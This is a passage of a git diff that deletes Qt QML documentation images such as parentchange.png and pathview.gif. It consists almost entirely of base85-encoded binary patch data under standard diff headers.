z%rkv828P1ILi2z>vnR)gQj(G&5qtPiG3y`nz@zK}8oO(pA~Ke(Q4M~3OJG};mTsrt zECV_c5Wr`a{QC84+NJ8oH=iYx;`To!)z!ir97LR-r{oC9hIYNTx3}Hh-E}3q!5RAc z`7xe(POKxt&CSin=LmEH)~-EEZO0hq`rbWGZf?L3SZ=@xSU^qLJ~nw`L_|ac#t1=P zC|jtiw!#k1oc+64WPB5|vSit548|8HZrP1|{Tk9X-H|3rh2*?>GqbQzl%FsB@C)&G zfs>6kmQuqqrhgdbivdGL#l@Az{Lo`4cw!>`3J1=~PkQvdbKl@#VUHcCU?jt}@oL*x zkfP94vwCk@MLS#D@ZqhYvBcEWh)oY3`X38D`5PV`FQDPhc6KT8@j=;m^LlRxFE?=v zw7u)O>8n88etUwleP{EFix)dHrG~=JtNwSydwzb0QhaMGEB-Kf>r%Y*lmOxuYZq#k z;MiClS657S_QW%R38l_(r7Q!s$o5Rb|LF=F0YXd&X#D)iV;+hM{v$IZL-oxPutio@ z)?yzz|2IU2t9*PM%M^&~$&n9JG#82-W3b5)EFSBhGVTKh&Q%KcmcB19-`srYNxNqH z?F$(aby2Ldt&I$EJ=k9C?d{#&eL_Y?2AL+_bUc=nKyd+B1lJM?ert1cv%I`~Wo3o7 zSdy359!h4{a20_U-Tj{j!9Odt{`Vsw%Ew z>vx?OjcMxoLJtR&AubNZ%$y0B3;Q~S8FpGJ(&e$L9)_?0GQ;^VtK0IR0G6K&0lyY{ z8=aqY5xC`V^Z@mDaJZVJDdW4npq{yZc*n>{?Ft>FJ|Ub~*n;S}_IjW7NrHHFeO=wj z4R6$!sw$yvQ;To3^YJuoQn3(YFb@buZfk32io3C&6wT}`_{&aUv1it1S-~v5P|g$S zLS%`Rt*x!er@#cN1e}$6vf}FM+6^+~>3QC*ZyJZ&-q``BfGMD6mb3!%^yrbGP$2;V zey271V)(sIVcX6tC~}BjWJrdT7j;7oQIlpPNP9ODZZVfPPyH^YZL$ zm;maueH?gG@&`nFY=%TNv@|b|aJd?G*K~4F`uepYAVd9Vt|J{-Rxf%TQQY6^k~>Ep z`e$n%ApJltd~9qC92ejqE-ntXou32r6%*4536w?Fzulq|xG*>*1h59g;Oyi?dQvzC zuyh%hCZEbviF}oifYwS4zJQgKkg&F~`SO9Gd}MgodGx(D5527aJ_e{oaj3ul4G6}{ zQ04pgH(6M+L9Fv%;p#nj#yME3ykY_z_H}r#UY(nrRp71PIymqZN;SQ6CrHIxdVH|V zBqTW4-`^kPl~g7y7Lk7jSON)$Izl{B*1W>a-Df9Kg9puke3Xx${h6$jCCz9}m?`aZ zS4GA80lr-{2qlz?Eh#Ah?E-6hITro)ZPbOrX#+Kl=RgKSZDP(N%K1IISt=G5?C(*g zggEIDxlca zZ!b1B_L_hIbLSaNbRRGM4`?)6J6)9(1@j3de=T6reM?t4=Wg+zKYvUGy-rV#i;Ig9 zgfc8IC&zUI*YY32@?d`&6E(!KM-BBJ1_lPCAwdmDSyk05Wp>E3w{|-Z4-b$%U)x@l7fimz9uGFO$I8aSqIYZzJL_)V;43;q3dRWR zdSIiTjEoFZv>^nQq9vnpQ@E&rumoe7;?mXCq1^ds|z50|QC*mygFjd5DUN5?#Y#%m;wWYU}D?iV6-dsHK5bffE2m z9$a^Fa_a5t>tUT-UM>YCL8Cu-t=$KZJXY9iwN3SGqK z2iH^ox-2eE&a)$9YJmuwa&iX%oc$Ws&e_>OPmhBx!tT-G5e)ja4$7M9tSLv&*q9bq zLcwA)T&aPYbaZr7YKeSzbGtQ8wt4httGrw=aZttzL;|7=WUlMWj9l($gA4I>*Q#Ea zdj3yH;!6c1+YORcW=ejtyAN2?ep>o}e))(d(s;@d7v2~Pe1>SK+*U4Ed=UJ9(q5c@ diff --git a/src/qml/doc/images/parentchange.png b/src/qml/doc/images/parentchange.png deleted file mode 100644 index 93206fbbb264c505686a4f881f80a1984592b06f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 509 zcmeAS@N?(olHy`uVBq!ia0y~yV4MJCr*N<>&kwMjf2IES!t%iR-lkliEBiObAE1aYF-J0b5UwyNotBh zd1gt5g1e`0fI@zrLZX6iVsiV6a%Z3oiJmTwAr-gY-r3395WwSd&~(xNY18M(G@kKc zpYizQ!Sq{Zo<_p^k}ru~zqo7qZuyY=z4rSH+B=yQ6c{)-7?_wE8W?~G#yb$VT#&&( z`g3}#MP)uSqk{v3fB*vv3j-q~5K+tn8w586m6zwI{A1ZQ9tLTUqaf~rISRu2Af$e= u@wjO+hnWD}Q4q6WPNW(S?nFk$gyr1JT=-5rvD*TQEe20lKbLh*2~7ZYB4I=T diff --git a/src/qml/doc/images/pathview.gif b/src/qml/doc/images/pathview.gif deleted file mode 100644 index 4052eb264bf24feeabfea48acd538acd6885277b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 90512 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 